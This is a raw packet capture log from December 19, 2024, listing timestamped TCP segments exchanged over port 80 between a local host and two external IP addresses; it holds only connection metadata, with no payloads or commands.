Dec 19, 2024 08:09:32.632772923 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.633667946 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.633711100 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.633743048 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.633780003 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.633960009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.634078026 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.634727001 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.634782076 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.634783030 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.634855986 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.634898901 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.635447025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.635584116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.635838985 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.635885954 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.635943890 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.635967016 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.635987997 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.636917114 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.636972904 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.636986017 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.637018919 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.637069941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.637108088 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.638012886 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.638056040 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.638113022 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.638147116 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.638420105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.638559103 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.639103889 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.639144897 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.639146090 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.639204025 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.639240980 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.639890909 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.640070915 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.640199900 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.640243053 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.640284061 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.640306950 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.640328884 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.682514906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.682580948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.682785034 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.683299065 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.683373928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.683832884 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.684726000 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.684804916 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.686187983 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.686230898 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.686289072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.686393976 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.687647104 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.687753916 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.688766956 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.689142942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.689251900 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.689863920 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.690741062 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.690917969 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.690953970 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.692117929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.692265987 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.692311049 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.693594933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.693685055 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.693722963 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.695066929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.695187092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.695235968 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.696542025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.696649075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.696691036 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.698008060 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.698059082 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.698093891 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.699484110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.699594975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.699671030 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.758830070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.758960962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.759458065 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.759571075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.759604931 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.760776043 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.761154890 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.761195898 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.762546062 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.762592077 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.762625933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.764013052 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.764054060 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.764136076 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.764173031 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.765520096 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.765642881 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.765685081 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.766983032 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.767124891 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.767168045 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.768551111 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.768616915 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.768657923 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.769927025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.770030975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.770067930 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.771420956 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.771572113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.772790909 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.772900105 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.773021936 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.774374962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.774436951 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.774475098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.775826931 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.775888920 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.775895119 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.775909901 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.775921106 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.775945902 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.775973082 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.776010990 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.776366949 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.776403904 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.776432037 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.776465893 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.777359009 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.777374029 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.777451992 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.777467012 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.777483940 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.777556896 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.777591944 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.778613091 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.778657913 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.778659105 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.778695107 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.778799057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.778906107 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.778949022 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.779683113 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.779751062 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.779778004 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.779813051 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.780299902 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.780385017 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.780431032 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.780745983 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.780795097 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.780854940 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.780893087 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.781784058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.781845093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.781855106 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.781919956 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.781923056 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.781934023 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.782032967 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.782923937 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.783030987 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.783116102 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.784027100 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.784068108 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.784157991 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.785109043 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.785161018 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.785219908 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.785274029 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.786231041 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.786283016 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.786345005 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.786386967 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.787380934 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.787421942 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.787463903 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.788429976 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.788518906 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.788541079 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.788552046 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.789490938 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.789593935 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.789633989 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.790612936 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.790653944 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.790719986 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.790755033 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.791702032 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.791749954 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.791795015 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.791829109 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.792751074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.792785883 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.792826891 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.792869091 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.792884111 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.792922974 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.793503046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.793625116 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.793874025 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.793914080 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.793915987 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.793997049 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.794032097 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.794991970 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.795033932 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.795058012 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.795070887 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.795092106 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.795202971 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.795236111 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.796092987 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.796133995 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.796190977 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.796226025 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.796426058 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.796533108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.796771049 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.797143936 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.797184944 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.797246933 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.797552109 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.797926903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.797940016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.797971010 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.798214912 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.798322916 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.798362017 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.799324989 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.799367905 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.799401999 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.799415112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.799439907 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.799491882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.799525023 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.800430059 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.800467968 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.800493956 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.800525904 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.800882101 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.801121950 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.801162958 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.801496983 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.801573992 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.801618099 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.802346945 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.802469969 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.802588940 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.802630901 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.802633047 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.802702904 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.802738905 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.803714037 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.803757906 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.803847075 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.803859949 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.803884029 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.803936958 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.803971052 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.804774046 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.804902077 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.804945946 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.805313110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.805413961 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.805865049 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.805924892 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.805994034 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.806015968 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.806035995 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.806806087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.806934118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.806968927 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.806981087 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.807010889 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.807012081 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.807039976 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.808070898 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.808113098 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.808159113 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.808317900 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.808397055 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.808775902 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:32.809148073 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.809190989 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.809220076 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.809257030 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.809742928 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:32.810297012 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.810369968 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.810411930 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.811346054 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.811383963 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.811418056 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.811455965 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.812439919 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.812479019 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.812520981 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.812555075 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.813515902 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.813807011 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.813844919 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.814805984 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.814820051 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.814846992 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.814896107 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.815692902 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.815756083 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.815794945 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.816787958 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.816919088 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.816958904 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.817934036 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.817972898 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.817997932 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.818033934 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.819148064 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.819185972 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.819506884 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.819545031 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.820647955 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.820660114 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.820683956 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.820700884 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.821227074 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.821238995 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.821275949 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.822305918 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.822343111 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.822504997 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.822540998 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.823478937 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.823508978 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.823533058 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.823551893 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.824456930 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.824518919 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:32.824541092 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:32.824574947 CET	49858	80	192.168.2.6	31.41.244.11
